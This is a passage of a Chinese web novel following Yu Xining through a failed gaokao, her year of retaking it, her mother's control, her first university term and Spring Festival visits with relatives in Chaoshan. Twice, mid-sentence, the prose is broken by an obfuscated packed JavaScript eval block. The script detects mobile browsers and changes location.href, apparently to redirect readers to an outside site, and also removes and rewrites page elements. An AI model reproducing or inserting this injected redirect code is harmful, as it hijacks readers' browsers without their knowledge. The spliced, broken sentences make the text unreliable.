“这是奖励我一模考的,再说了高考后不也要买手机吗,早晚的问题。”许于薇调试镜头连着自拍了几张:“看,早买这不就用上了。” 三人挽着手找遍学校里每一个有标志性意义的建筑留下合影,有高一班级门口,有学校新建的图书馆,有操场旁边的玉兰花园,还有刚修不久的园林花圃。 “上一次坐在这张石椅上,还是早读课开始前背文言文。” 宋乔挽着余希柠的手和她靠在一起,抬手比耶,许于薇帮她们拍。 “林烜呢,怎么不见他?” 许于薇状似无意地提起,本以为他会来找余希柠拍合照,没想到半天都不见人。 余希柠摇头:“我也不清楚。” 她也很久没见到林烜了,偶尔经过篮球场,视线会下意识穿过层层台阶落在场地中央,去捕捉那道熟悉的身影,但就是没遇见。兴许他也正放弃爱好,选择全力冲刺高考吧。 许于薇低头回看手机里拍的照片,没和林烜拍上合照,又怕被姐妹们看出端倪,她按按把失落情绪藏回到心底。 六月初,高三生放假,最后一堂课结束后,班主任在黑板上洋洋洒洒写下了一篇长诗,预祝学生金榜题名。 教室外传来呐喊声,紧接着无数被撕碎了的草稿纸跟卷子从楼上丢了下来,顿时漫天纸片如雪花般飘落。 对面传来学弟学妹们的喊楼声:“祝高三学长学姐,高考顺利,金榜题名。” 这样的场景,余希柠经历过两次,从前她还是喊楼的一员,如今已是真正的高三生。她闭上眼睛,许下一个重复了无数次的愿望:“希望高考顺利,考上理想大学。” 2013年6月7、8两日,雨后迎来大晴天,送考的家长纷纷说是吉日。余希柠的考场在本校,出门前陈慧柔不忘用沾了红花仙草水的石榴花枝在她额前、身上还有手心里洒了洒,说尽了吉利话。 这一年的数学卷子出奇的难,余希柠考完出来脸色就变了,心态大崩,间接影响到了第二天的考试。成绩出来那一晚,家里像天塌了一样阴沉可怖。 客厅里的电话一个接着一个响,全都是来问考试成绩的。余序洲负责接,起初还会叹气,到后面的解释都变得机械般无力:“考得不理想,没上二本线。” 陈慧柔躺在卧室床上,根本起不来,眼泪不停地流,打湿了半个枕头。该怎么办呢,她几乎是六神无主。 这一届的教师子女里,余希柠的成绩是最差的,教师村不少人家都在传这个事——序洲老师的女儿高考成绩出来了,糟糕得很。 次日一大早陈敬涛就来了,他建议余希柠去潮阳一所封闭式学校复读,该校往年复读生重本率高达95%,唯一的缺点就是学费昂贵。 陈敬涛和余序洲夫妇商量了一整个上午,余希柠就一直待在房间里没出去。 “我不同意她去潮阳读,一是没有寄宿经验,去了她还得花时间适应宿舍生活。在家里我什么事都可以帮她做,她只需要学习就好。二是她这个成绩,花那么多钱去了,如果还只是考个普通二本,那还不如留在二中复读就好。” 陈慧柔的声量不低,余希柠全都听进去了,对她来说,重来一次的高四生活,远比从前压力要大。她对这个环境本来就排斥,简直不敢想再来一次会怎样。然而陈慧柔没有给她自己选择的权利。 最终,陈敬涛也还是尊重他们当父母的,没有继续劝。 余希柠复读的消息没有多少人知道,连返校拿成绩单和毕业证,她都是让许于薇帮忙。几个朋友对于余希柠的情绪都能理解,尽量不在她面前表露出开心放松的样子。 录取通知接二连三地发放,第一批次的最快,宋乔考上了暨南大学,林烜去了北京工业大学,许于薇最让人想不到,她报考了警官学院并被顺利录取。 七八月的日子如白驹过隙,很快又迎来新的三百天倒计时。 尽管这一届的老师都是生面孔,但在他们眼里,余希柠已然被扣上了“差生”的帽子,复读像是一张丑陋的标签贴在她的脑门上,走哪都会被人议论一两句。 起初因为有过一年的基础,余希柠考得还不错,陈慧柔没有称赞过她,反倒说:“你比其他人多读了一年,考这样的分数不是应该的吗?” 再后来,她的成绩被赶上了,陈慧柔又开始焦虑:“你看,分又提不上了。” 余希柠厌恶这样的环境,她变得很敏感,对他人的视线,对旁人的言论出奇在乎,这是一个非常差的信号。她回想起陈梓钰说过的话—— 只有成绩能给到你想要的自由,考好了,什么声音就会没有了。 这一年的誓师大会,余希柠站在班级队伍最后面,她虽然是复读生,但因为余序洲的缘故,还是以插班生的身份进了普通班。 一开始同学看见她这个生面孔时还在猜测,是不是从重点班退下来的,余希柠没回答。很快,真正从重点班回到普通班的同学找了过来,企图抱团取暖,余希柠只能解释,她是复读。 复读这两个字意味着界限与不同,余希柠也懒得在这个完全陌生的环境里立存在感。 五一放假的时候,宋乔特地回来看她。 “林烜离得远,说等我到了给他打电话,他在电话里给你加油。” 余希柠攥紧了指尖,扯出一个淡淡的笑容来:“谢谢你们还惦记着我。” “当然要惦记啊,你可是我们最好的朋友,不能掉队的。我读建筑要五年才能毕业,到时候还能和你一块拍毕业照!” 宋乔鼓励余希柠,把握住机会,也不要给自己太大压力。 高考前一天晚上,陈慧柔抱着被子和枕头过来陪余希柠睡,怕她又失眠。第二天一早,不过百米距离,余序洲亲自送考,考试结束时他也等在校门口。 邻居路过笑着说:“序洲老师今年是很上心啊。” 余序洲:“应该的。” 父母说是要把去年没做到的都做齐了,余希柠却全然不在意。 两天考试结束,她情绪没有太大的波动,在家里躺了一天后开始整理这两年写过的卷子和习题本。一个房间的书柜都堆满了,余希柠按照科目区分开来,因为成绩一般,也没有人提前来要她这些重点资料。 不比陈梓钰考完试那会,连错题本都有人拿走。 “怎么又多了几本杂志?” 陈慧柔一进门,别的没注意,就看到桌面上几本新的文学杂志。余希柠瞥了一眼,不耐烦道:“宋乔五一来找我的时候带的。” “五一给你带这些?她这是要影响你啊,那会临近考试还给你带杂志让你分心,什么意图。” 陈慧柔一听都急了,分数没出来之前,她整个人精神高度紧张,已经发展到不能听见那种带消极或者晦气的词语。 “我真想问她是什么意思,不鼓励你抓点紧,还给你送杂志。” “妈!你够了没!”余希柠忍无可忍道:“人家专门从广州回来见我,这都不算鼓励吗?她给我这些杂志,看或者不看是我自己的选择跟安排,什么叫做她故意让我分心,我到现在都没看过!” 陈慧柔被她这么一吼,说话都小声了不少:“行吧,我以为你当时就看了,这不是怕影响吗?” “别人能表达善意的方式就这些,你非要以你的思维角度去曲解。我真是受够了你的偏见和控制,你是想把我所有朋友都赶走才开心吗?” 余希柠从前不懂陈慧柔为什么要问她一起玩的同学叫什么名字,后来才知道,陈慧柔给这些人暗地里都排了位次。 从他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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家里一下就空了,陈慧柔花了一个星期的时间把余希柠的房间收拾得干干净净,桌上没有了堆成小山似的课本卷子,从外面看,房间里就是两张很空的书桌,像没有人住过一样。 钢琴上盖了两层罩子,因为怕有蟑螂钻进去,陈慧柔时不时就掀开琴盖胡乱按键,意在惊走蟑螂。余希柠不在,琴也都不需要叫调音师来保养了。 晚上吃完饭,陈慧柔去洗碗,从前一桌子菜,讲究鱼肉菜营养均衡,现在少了余希柠,吃什么都是一锅起,简单就好,还能少洗两三个碗。 余序洲出门前还特地问了句:“我要去我爸家,你要一起吗?” 陈慧柔一点都没兴趣:“你自己去吧,我还要给希柠打电话。帮我看看几点了?” “七点半。” “七点半了?你怎么没有提醒我时间到了。” 陈慧柔手忙脚乱脱下洗碗手套,随手擦了擦后跑到电话前,熟练地按下一串字母。对面响了好一会才接,听见余希柠的声音,陈慧柔表情瞬间柔和起来:“妹,在干嘛呢?” 余希柠觉得陈慧柔像变了一个人,自她上了大学后,陈慧柔的态度就温和了不少,不会大声说话,也不会再跟她起争执。反倒是每天都要打电话联系,确认生活情况,这点让余希柠觉得很难受。 她像是离开了那个家,又像是没离开。 但舍友们都很羡慕她有这么一个妈妈,非常关心她。余希柠没有向外界解释太多,大家习惯对肉眼看到的事物下定义和主观判断,她也没有理由硬要去澄清或者强行更改。 她只过自己的生活。 “刚洗完衣服,准备坐下来看会视频。” 余希柠在学剪辑,高中的时候学了点摄影的皮毛,因为自己没有相机也就没有深入去学。剪辑和修图这块是空白,现在有了电脑,就想着利用晚上空闲时间看视频教程多练练。 “什么视频啊,学习的还是电视剧?” 余希柠已经习惯了在回答上选择与学习有关的答案,这在陈慧柔面前永远是不会出错的选项。 果不其然,一听说是学习,陈慧柔便没再打扰,挂断电话后她看了眼墙上的挂钟,十分钟都不到。 32. 寒假 余序洲回来的时候,陈慧柔正坐在沙发上打瞌睡,电视里播着《战长沙》,正演到最精彩的片段。 他轻手轻脚拿起遥控把电视给关了,下一秒陈慧柔就醒了。 “你关我电视干什么?” “我见你都睡着了,也没在看。” 陈慧柔抢过遥控重新打开:“我就是听个声响,不然家里太安静了。” 余序洲脱下外套进屋拿换洗衣服,准备去洗澡,陈慧柔偏头问他:“你怎么都不问希柠的情况?她去学校这么久,我就没见你主动给她打过电话。” “你不是打了吗?” “我和你能一样吗?” 陈慧柔这么一问,倒把余序洲给问蒙了,他站在原地斟酌了半晌,笨拙地问:“更年期不是都结束了吗?” “关更年期什么事,这是看你关不关心女儿。” 余序洲听笑了:“关心又不是一天一个电话才叫关心,她现在都上大学了,有自己的空间。天天聊内容不都一个样吗,你女儿又不是去读戏剧学院,哪能每天都有新鲜事。” “跟你就是讲不通。” 陈慧柔把电视音量开大,盖住余序洲的声音。余序洲无可奈何地摇了摇头,进浴室洗澡,等他出来时,客厅的灯已经关了,陈慧柔早早上床睡觉。 余序洲看了眼墙上的挂钟,这才刚过九点。他打开书房的灯,把明天上课要讲的周报从头到尾做一遍,备注新单词和重点语法,十点多才回房间休息。 结果刚躺下就听到陈慧柔的声音:“你说,希柠国庆回来吗?” 余序洲吓了一跳:“我以为你早睡熟了。” “没睡着。” 陈慧柔翻了个身,掖了掖被子。 从前惦记着余希柠学习,只要她没睡,陈慧柔也不会睡。找本书看,等着时间差不多了就给她温牛奶喝。只要余希柠房间的灯没关,自己床头灯也不关,哪怕打个盹都会惊醒—— 该叫余希柠早点睡了。 这么多年已然成了习惯,像写进了生物钟里的一道程序,被撤下了,但肌肉记忆还在。她甚至还有点想念那时候的生活,虽然天天念叨着督促孩子学习好累好辛苦,但跟余希柠在一起,她还是很富足的。 余序洲把灯关了,并排躺下:“这才刚去学校,怎么可能回来。” “可是国庆有七天假呢。” “来回机票多贵,有那时间,跟同学去周边玩一玩也行,你别让她回,她有自己的打算。” 余序洲这么说,陈慧柔就都什么话也插不上,她本来还盼着这个假期余希柠能回来。 事实上,余希柠早就计划好了这个国庆假期的安排,正如余序洲猜的,她打算跟舍友去周边旅游,根本没想过回家。 转眼到了年底,赵婷在去礼拜的路上摔倒了,连着两晚发高烧,一躺就是小半个月,生活不能自理。 余序洲每天下课就得赶到爸妈家帮忙,把陈慧柔提前煲好的汤给赵婷喝。尽管从前婆媳关系不怎么样,但在这个节骨眼,陈慧柔还是摒弃前嫌,做好自己分内的事。 反观赵婷,不是嫌汤里的药材味太重,就是觉得鱼汤太腥,每次喝完都有意见。 余序洲一根筋,赵婷说什么,他回家就转述,半句话不会润色,陈慧柔听了一肚子气,把勺子一丢,罢工了。 “她什么意思,我每天回家第一件事就是煲汤,换着花样给她进补,她还挑三拣四。就你老实,你妈都病成这样了,你大哥还在外打工不回,你那妹妹也是,合着一家子全赖你这个在身边的人照顾?” 陈慧柔每每说起余家的事就一肚子气,觉得自己这辈子受的最大的委屈就是在余光亮家住的那两年。 自打被迫分家,搬出来后,她凡事都是睁一只眼闭一只眼,余序洲要当孝子就让他当,她坚决不会过问半句。可到头来呢,全当他是个无私奉献的大孝子,逮着羊毛使劲薅。 余序洲不乐意了:“你这话说的,你对你爸不也是这样尽心尽力?到我这儿你就说我。” 陈慧柔火噌的一下就上来了:“这能一样吗,我爸住在大佬家,我就是偶尔过去尽尽孝心,不指望能得到什么。我爸就是偏心大佬,但你呢,你是大哥吗?你爸妈偏心你吗?我告诉你,你两头都不占。” 这些年,全老实人在吃亏,有时候陈慧柔看了实在是憋屈得很,偏偏余序洲就是榆木脑袋不开窍。 “你等着看吧,等你大哥小妹回来,你看看你爸妈的态度。我把话放在这了,在那个家里,你就是个垫底的。” 陈慧柔甩掉围裙转身离开。 学校放寒假,余希柠是宿舍里最晚走的,林烜从北京过来,玩了两天才一同回家。 得知他俩一起,从前坚定二人就是好哥们的宋乔,想法也有了动摇,偷偷问余希柠—— “林烜是不是在追你。” 余希柠有些无语:“当然没!” 近些年虽然微信兴起了,但大家在学校用得比较多的还是□□,林烜的说说底下经常有几十上百个赞,评论也大都是女生。看得出来异性缘挺好的,至于有没有女朋友,余希柠没过问,这是林烜的私事。 林烜家条件好,早早就有小轿车。飞机抵达潮汕机场时,他的家人就已经在到达厅候着了,余希柠搭上了顺风车回家,省去了打车钱。 一学期没回来,进家门后,陈慧柔拉着余希柠一屋子到处看,问她有没有发现什么变化。 被子床铺是新晒好的,书桌擦得一尘不染,比起陈慧柔的兴奋,余希柠表情从始至终都很平静。 但她还是一一回答:“窗帘换了,被套换了,书房的窗贴了新的膜,电视柜也是新做的,电脑桌你们撤掉了。” 刚回家就被拉来“找不同”。 陈慧柔笑得合不拢嘴:“对!还得是养个姿娘,心思细腻!让你爸来,他都看不出什么。” “我爸呢?” 因为不用余序洲接,余希柠箱子都是自己扛上楼的,结果进门不见他的身影,难不成学校还没放假? “你奶奶病了有段时间了,你爸现在一有空就去你爷奶家。” “怎么了?这么大的事怎么不告诉我?” 余希柠怪陈慧柔电话里没说,要说了,她多少会打个电话去关心一下。 陈慧柔不以为然道:“学业要紧,回来再去看望也行。我刚炖好的汤,往常都是你爸负责送,我跟他说了,等你回来的时候让你拿过去。” “行,我洗把脸换身衣服。” 上一次来余光亮家还是上大学前,来跟爷奶打招呼。几个月没来,刚到门口就闻到一股很浓的药味,余希柠换好鞋子进屋。 “爷爷,奶奶,我回来了。” 余光亮正在客厅里看报纸,戴着眼镜研究股票数据,听见余希柠的声音,表情露出惊喜:“希柠?什么时候回来的?” “下午刚到就过来了。” 余希柠拎着保温壶放在餐桌上,进屋跟赵婷打招呼:“奶奶,我回来了,爸,汤我拿来了,现在倒出来吗?” 余序洲正好在收衣服,回过头看了她一眼:“我待会去弄,你陪你奶奶说会话。” 余希柠搬了把椅子坐到赵婷床头,赵婷指了指旁边放着的书,问她能不能给自己读段圣经。 “用普通话还是潮汕话?” “当然是潮汕话。” 这可难为到余希柠了,她磕磕巴巴读了一段,夹着生,赵婷有些听不下去:“算了算了,你这读的我都听不懂。” “奶奶,我们上课都讲的普通话,我没法直译成潮汕话,要不我用普通话给您读?我普通话很标准的。” 赵婷摇摇头:“你给我说说大学里的事吧,你回来这会,这北方是不是下雪了?” “对!12月的时候就下初雪了!我手机里有照片。” 余希柠把手机里的照片跟视频放给赵婷看,赵婷眯着眼,也没怎么看清楚,只说:“你们现在的条件啊,是越来越好了。” 客厅里,余序洲把保温杯里的汤倒出来,余光亮走上前看,满意地点头:“这次的乌鸡汤炖得好,坐那闻着都觉得香。” 余序洲没说话,只是把保温杯洗了,然后端起碗进屋,扶赵婷起来喝。 余希柠头一回见老爸伺候人,只见他嘴唇抿紧,习惯性发力。 余序洲不论做什么事情,一认真,嘴巴就会下意识抿起。很快一碗汤见底,赵婷靠着床头坐着,说明天想喝排骨汤。 余序洲没拒绝。 傍晚,回去的路上余希柠问起才知道,赵婷病了有一个多月了,这段时间陈慧柔就负责熬汤,余序洲负责下课后过来照顾。 “大伯母怎么不来?” 余序洲:“小远还小,你大伯母抽不开身。” 黄蕾前两年生了个儿子,余光亮夫妇高兴得不得了,原先还担心余家这一代断了后,没想到老了老了还能盼到小孙子。 “那要过年了,大伯跟姑姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071809|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说什么时候回来吗?”余希柠看着余序洲鬓边的白发,主动道:“要不这段时间我来给奶奶送汤吧,爸你休息休息。” 余序洲笑了:“懂事了啊,不过这不是送汤这么简单的,很多事,你啊做不来。你妈估计也不会让你做。” 想起陈慧柔对余家的态度,余希柠不懂就问:“我妈为什么对爷爷跟奶奶这么冷漠啊?” 余序洲有些心虚,不敢直接回答这个问题:“等回去你自己问你妈。” 余序南是农历二十八才回来的,带了不少年礼,次日就去余光亮家,彼时余稚乔也刚回,屋子一下挤满了人。 见大儿子和女儿都回来了,赵婷精神状态好了不少。 客厅里,余序南和余光亮商量着除夕夜的聚餐安排。余序南的意思是,赵婷身体不好,要不今年就暂时取消聚餐,各自在家里吃,等初一再来拜年。 余光亮沉吟片刻,点头:“也好,这事儿你也和老二说一声,往年提前一周就安排菜谱了,他这阵子忙里忙外的也没提过这事,别是慧柔那早准备了。” “行,回去的时候我顺路去他家,亲自说。” 惦记着要去余序洲家,余序南没待多久就走了,到了教师村门口正好遇见从外面回来的余希柠。 “大伯?” 余希柠还以为认错人了,余序洲老了不少,整张脸黢黑,说是去深圳打工,不知道的以为去的是西北。 余序南:“哎,你这是刚出去?” 余希柠点点头:“跟朋友逛会街,您什么时候回来的?” “昨晚凌晨的大巴,你爸爸在家吧?” 余序南笑起来眼睛眯成一条线,和余序洲一样,余希柠从前都不觉得大伯跟老爸长得像,现在才有了实感。 “应该在,我出门的时候没听他说要出去。” 两人并排上楼,刚一开门就听见鹅叫,余序南指着笑:“你爸养的?” “大哥?” 余序洲闻声走了出来,和余希柠问了同样的问题,什么时候回的。 “昨晚,你这鹅怎么回事?” 余序洲搓搓手:“表伯送的,想着明天宰了处理一下,拿来卤。” 余序南换好鞋子,竖起大拇指:“你这门手艺还没丢呢?” 从前过年,吃的都是自己宰杀养肥的鸡鸭鹅,白斩还是卤制也都是自家制作后,才端上除夕夜的餐桌。 现在条件好了,也省去了杀宰制作的程序,只需要提前到摊档交代好一只半只,买现成卤好的,省去不少麻烦,关键也不会弄得一屋子味道。 “那没办法,他非送来。”余序洲摆上茶具煮水,打量了一下余序南:“这阵子瘦了不少,工作很忙吗?” “嗯,项目挺多的,做到昨天才收尾。慧柔呢?” “吃完饭去她爸家了,还没回。” 兄弟俩难得坐在一块聊天,余序南主动问起家里的事,余序洲一一回答,包括赵婷的病情,余家宗祠的年金,给余家老辈拜年送礼的安排…… “爸都跟你交代过了是吧?” 余序洲:“嗯,我本来想说等你回来再一块去,但爸的意思是年前就把烟茶拿给那些老辈,我就自己去了。” 余序南笑了笑:“你去做代表也行,没什么。对了,我刚从爸家回来,商量了一下,今年除夕就不聚餐了,各自在家过,初一再去拜年就行。” 居然被陈慧柔猜中了。 一周前,余序洲问起市场肉菜价格,想着让陈慧柔先着手买一些,例如牛肉丸、鲜鱼、血蛤…… 当时陈慧柔就说,今年这情况估计聚不了。一屋子的药味不说,赵婷还下不来床,怎么都不是聚在一起欢欢喜喜吃年夜饭的氛围。 余序洲:“行,听爸和你的安排。” “慧柔来了你和她说一声,她没提前准备什么吧?” “没,准备了也不要紧,过年都能吃,省得去市场买贵的了。” 余序南没坐一会就走了,一集电视剧都没播完,余希柠陪余序洲送客到楼下,回家时淡淡道:“大伯老了好多,他就打算一直在深圳务工吗?” “我也不清楚,你大伯不主动说,我们也不好过问。” 陈慧柔回家就听到除夕夜不聚餐的消息,情绪没什么起伏。 “刚从嫂子那拿了袋腊肉回来,想着明晚过去聚餐能做腊肉饭,那就在家做吧,三个人,不打边炉了。” 余序洲表示:“我没什么意见。” 33. 琐碎 初一一早,余序洲一家先是去了余光亮那拜年,余稚乔回来后连夜把父母房间打扫了一遍,被套床套都换了新的。 “爷爷奶奶新年快乐,姑姑新年快乐。” 余希柠捧着对大桔进门,说完吉利话,余稚乔就给她递了个红包:“姑姑的小心意,祝你新年事事如意。” “谢谢姑姑。” 余希柠接过红包,坐在沙发上,茶几摆满了果盘和零食,余光亮朝她面前推了推,示意她吃点。 陈慧柔也许久没来,进屋陪赵婷说了会话就出来,同余稚乔聊了会年后打算才知道,小姑子辞职了,往后就留在家里照顾二老。 “不在家这边找找工作吗?” “这里的厂子基本上都关得差不多了,效益也好不到哪去。我拿了年金回来的,能撑一段时间,先照顾好妈再说。” 先前接到赵婷生病的消息,余稚乔就想回来了,但考虑到都年底了,再坚持两个月还能拿笔年金,这才没有第一时间辞职。 陈慧柔点头,这样也好,不用什么事都压在余序洲身上,来回跑都顾不上学校那边安排的教学工作。原本今年他是想评职称的,赵婷的事一耽搁,他都没空准备。 “中午是不是要在希柠外公家吃饭?” 余光亮冲了几杯新茶,挑的是余序南拿回来的茶叶,还让余序洲试试有没有比往常喝的那些好喝。 往常的茶叶,是余序洲拿来的,余光亮问这话,陈慧柔立马觉得刺耳。 偏偏余序洲还真品了,说:“不错。” 余光亮笑:“说是深圳那儿专用来送礼的名贵茶叶。” 陈慧柔也跟着说:“但论茶,还是潮州茶出名不是吗?深圳那些就是包装精致了点,到底不如凤凰单枞。” 陈慧柔把脊背挺得很直,坐在那一副不易亲近的样子,余序洲以手掩唇咳了下,假装看眼挂钟。 “爸,我们还要去给老舅拜年,就先走了。” “行,对大桔记得拿回去。” 余光亮招手示意余稚乔从屋里拿了罐中老年奶粉出来:“这是给陈总工的,慧柔帮忙传达一下心意。” “那我就替我爸收下了,谢谢。” 下楼后陈慧柔就忍不住说道:“你爸真是偏心得就差把你大哥名字写在胸口上了,连茶叶也要比较,生怕别人不知你大哥回来了一样。” “你说话也是直,当没听到不就行了?” “一个家一个聋子哑巴就算了,两个都聋了算怎么回事?” 这聋子哑巴自然是指余序洲,平日里不管父母说什么,他一概不反驳。这种性子陈慧柔可没有,她听不过去自然是要说的。 “反正你爸妈也不是第一天知道我脾气差。” 余希柠跟在二人后面,一路无话可说。 到了陈敬涛家,截然不同的过年氛围,余序洲他们到的时候,屋子里就已经有好些客人了。余希柠叫人都有些叫不过来,名字堆在嘴边,就“新年快乐”这四个字喊得最响。 陈梓航见余希柠来了,大高个直接往她身上倒:“等你半天了,才来。” “你不也刚起。” 余希柠见他几缕头发还翘着,抹水摁都摁不平,一看就是刚睡醒,不然早该收拾好了。 “姐呢?”余希柠张望了一下也没见到陈梓钰。 “在屋里帮忙。” 话音刚落,陈梓钰端着刚切好的果盘走出来,笑着和陈慧柔打招呼:“大姑、大丈新年好。” “新年好啊大美女。” 陈慧柔上前搂着陈梓钰,说了两句悄悄话。 陈梓航低下头和余希柠打小报告:“八成也是催我姐找对象的,今早来的几位都说了一样的话。” 余希柠也小声八卦:“那你姐有男朋友了吗?” “没有吧,要不你问问。” 姐弟三人去隔屋看电视,陈梓钰手机不离手,基本上都是余希柠和陈梓航在说,她不是低头发信息就是偷笑。 “谈恋爱了?”余希柠朝她撞了一下,假装要偷看手机信息。 陈梓钰没躲,真让她看了:“只是在和朋友聊天,女的。” “还真是。”余希柠撇了撇嘴角:“你大学的时候怎么一个都没谈啊,一点都不合理。” 陈梓钰长得很漂亮,性格温柔细心,余希柠觉得自己要是男孩,一定会喜欢这样的女生。 “那你谈了没有?就只问我。” 余希柠:“我?我们系男女比例失衡,轮不到我。” 陈梓钰:“那我学中文的不也一样?” 话题戛然而止,谁也说不了谁。 倒是陈梓航,上高中就早恋,到这会儿女朋友都换了两三个了。 先前有一个余希柠还见过,是在路上碰到的,俩人走得很近,校服宽大的袖口遮挡住他们牵在一起的手。脸上洋溢着的全然是青春期的甜蜜和青涩。 后来余希柠就着这事问陈梓航,本想听听恋爱故事,结果就见他面无表情地说分手了。余希柠追问分手原因,陈梓航直接来了句,跟你说了你也不懂,把母胎单身的余希柠噎得一句话都说不出来。 自那之后,余希柠就对表弟的恋情毫无兴趣了。 “前两天我听有人在跟我妈说对象,估计就是要给我姐介绍的。” 陈梓航天天在家,知道的消息比俩姐姐多,什么人跟陈敬涛、王君说了什么,他都及时分享出来。 余希柠倒在沙发上,双手交叠垫在后脑勺,这要是有人进来,一看她这姿势都得大跌眼镜——简直跟淑女丝毫不沾边。 “姐才工作过久就相亲,是不是太着急了?而且听下来都是比她大好几岁的,不是,没有同龄人或者年下吗?” “我不要年下。”陈梓钰踢了余希柠一脚,“别把你择偶标准按在我身上。” 余希柠嘿嘿笑了两声:“那你说说你的,我也帮你参谋参谋。” 陈梓钰没说,看得出来她在这件事上还没什么想法,也不排斥大人的安排。 余希柠抿了抿唇:“你这人生都被安排了二十几年了,还不够?怎么连谈恋爱都要被安排?” 陈梓钰霎时顿住,她看着余希柠,眼神里有一闪而过的羡慕:“不是所有人都能做到像你这样,事事争取,事事有回应的。” “争就是了,能不能争到是一回事,但不争就一定争不到。” “你说绕口令呢。”陈梓航最先听不下去,打开游戏机,把手柄丢给余希柠,“我姐不会玩,你陪我来两局。” “你把我叫到这屋就为了玩游戏吧,不会是舅妈不让你玩,你拉我来挡刀的?我上高三的时候可没像你这么自由。” 余希柠一眼识破陈梓航的小心思,但还是陪他玩了两局。外屋的客人走得差不多了,王君和陈慧柔着手准备午饭。 “给你的腊肠试了吗?味道怎么样?” 王君已经备好了菜,这会正准备做腊肉饭,她用的是砂锅,陈慧柔昨晚用的是电饭锅。 “腊肉饭还得是用砂锅煮才行,颗粒分明,这腊肉的油脂都渗透进米饭里了,锅底的饭巴更香。” 陈慧柔帮着洗菜,“我昨晚是用电饭锅煮的,熟了开盖撒上葱花和酱油,拿饭勺在锅里捞均匀了,方便是方便,味道有点一般,不如这砂锅正宗。” “对了,你今年炸酥饺了没?” 王君想起自己前天刚炸好的酥饺,刚忙腾出手来拿给陈慧柔尝,又倒了一小盘端去隔壁屋给几个孩子,没一会盘子就空了。 “好酥脆啊,你这前天炸的表皮还能这么脆。” 陈慧柔很是羡慕王君的手艺,自己怎么都学不来。 “自从去年做了,被余希柠嫌弃难吃后,我就懒得弄了。今年更是没时间,本来还得带锣鼓班,我硬是拿婆婆身体不好要照顾,当借口给辞了。” 往年陈慧柔初一初二都得带队去营锣鼓,余希柠回来时还问,想着好几年没看锣鼓班了,也去凑热闹。谁知陈慧柔说今年不带了。 “你家婆怎么样了?” 都说到这儿了,王君也就顺嘴问了句。 陈慧柔嘴馋又吃 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“不说别人家的事了,说回这个酥饺吧,你把做法跟我说说,我后面几天抽空试试看,看能不能给希柠做一些,让她带去学校里给同学吃。” 王君嘴角弧度上扬,总觉得陈慧柔是在生捧自己:“其实也没什么特别的,就是这个面皮你一定要加点油,这样炸出来才会酥脆。有的人是会加鸡蛋,但我试过,这种容易软,还是面粉、水、食用油这样的搭配好。” “我说呢,我就是加了鸡蛋,以为颜色出来会好看些。” 陈慧柔终于找到了自己酥饺为什么不脆的原因了! 到饭点了,陈镇东“小会议室”里的老头们都陆陆续续回家吃饭,陈镇东拄着拐杖把门锁上回屋,正好看见隔屋里三个少年人。 “怎么都躲这玩游戏了,不去客厅看电视?” “阿公新年好。” 余希柠条件反射地打招呼,虽然来的时候已经说过一遍了,还是去小屋里对着一帮老爷叔们说的。 陈镇东笑呵呵地坐在他们身边,也不去客厅,就看他们打游戏。 “希柠,在天津上学感觉怎么样,还适应澡堂子的生活吗?” “哈哈,我们也不是澡堂子,就不是电视剧里演的那种。只是说公共浴室,不像南方这边,浴室都在自己宿舍里。一开始怪不好意思的,后面就适应了。” 说起学校里的生活,余希柠就来劲了,不时还窜出一两句天津话,像听快板似的。 “你这一点都不潮汕。”陈梓航锐评道:“你们开学做自我介绍的时候,他们不会觉得很惊讶吗?来这么远的地方上学!又或者连潮汕在哪都不知道?” “有什么好惊讶的,大学本来就是容纳五湖四海来的求学者,再说了,就我这普通话,要不说是潮汕,她们也猜不出来。” 余希柠的普通话很标准,一点广普都没。大多数同学印象里,广东人说话都是带着口音的,在她这倒没有。 “那你毕业打算回来吗?” 这问题是陈梓钰问的,她还没有去过北方,对余希柠说的那些风景、文化、习俗等等都非常感兴趣。 “我才大一,这问题好像问得早了些,还不在我的考虑范围里。” 一局游戏结束,陈梓航丢下游戏手柄,抢道:“这还用问,她肯定回来啊,大姑什么性子你不了解?怎么可能让余希柠在外省工作。” 两岁年龄差,陈梓航从不叫姐,除非遇到什么事有求于余希柠了才会贱兮兮地喊柠姐。 提到陈慧柔,余希柠眼底闪过一丝黯然,但她还是抱有乐观的态度。 “以后的事以后再说,说不定那会她支持也说不定。” “我跟你打赌,难得很。” 陈梓航说完,挨了陈梓钰一拳,她鼓励余希柠:“做自己的选择,别像我一样。” 陈镇东听不来年轻人之间的谈话,故意板着脸:“你怎么样,你也不差,教师事业稳妥,铁饭碗,多少人求不来的。” “聊什么呢这么热闹,吃饭了。” 因为陈慧柔的出现,这个话题到此结束。 34. 迟钝 初二、初三,余希柠陪着父母到处给亲朋拜年,像父母身上的挂件一样,到哪都亮出来说—— 这是我女儿,今年上大一了。 也是,怪就怪前两年因为高考,在家藏太久,都生疏了。 打招呼后还是那老三样的问题——考上哪个大学啦?选了哪个专业啊?有谈恋爱了吗? 如今,余希柠已经能熟练做到温柔假笑回答每一个问题,除非遇到一两个问她,能不能给小孩补习英语,她会果断拒绝—— “不好意思,我学的是西班牙语,我英文很差的。” 某种程度上,贬低自己可以减少一些不必要的社交关联,余希柠已经不再像小时候那样需要看父母脸色做事,又或者说,她从前也鲜少会照着父母要求的样子来做。 这种时候余序洲就会尴尬地笑笑,也就陈慧柔,走的时候会说上余希柠一两句。 “都长大了怎么说话还这么口无遮拦,大学生就得有大学生的样子。” 余希柠肆无忌惮:“大学生什么样?少给安帽子。” 初六,小群里终于有了大动静,宋乔组织去石壁山卡土窑,把所有人都圈上,问有没有时间。林烜最先回答,紧接着是许于薇,他俩都说可以,到余希柠这儿自然也没问题。 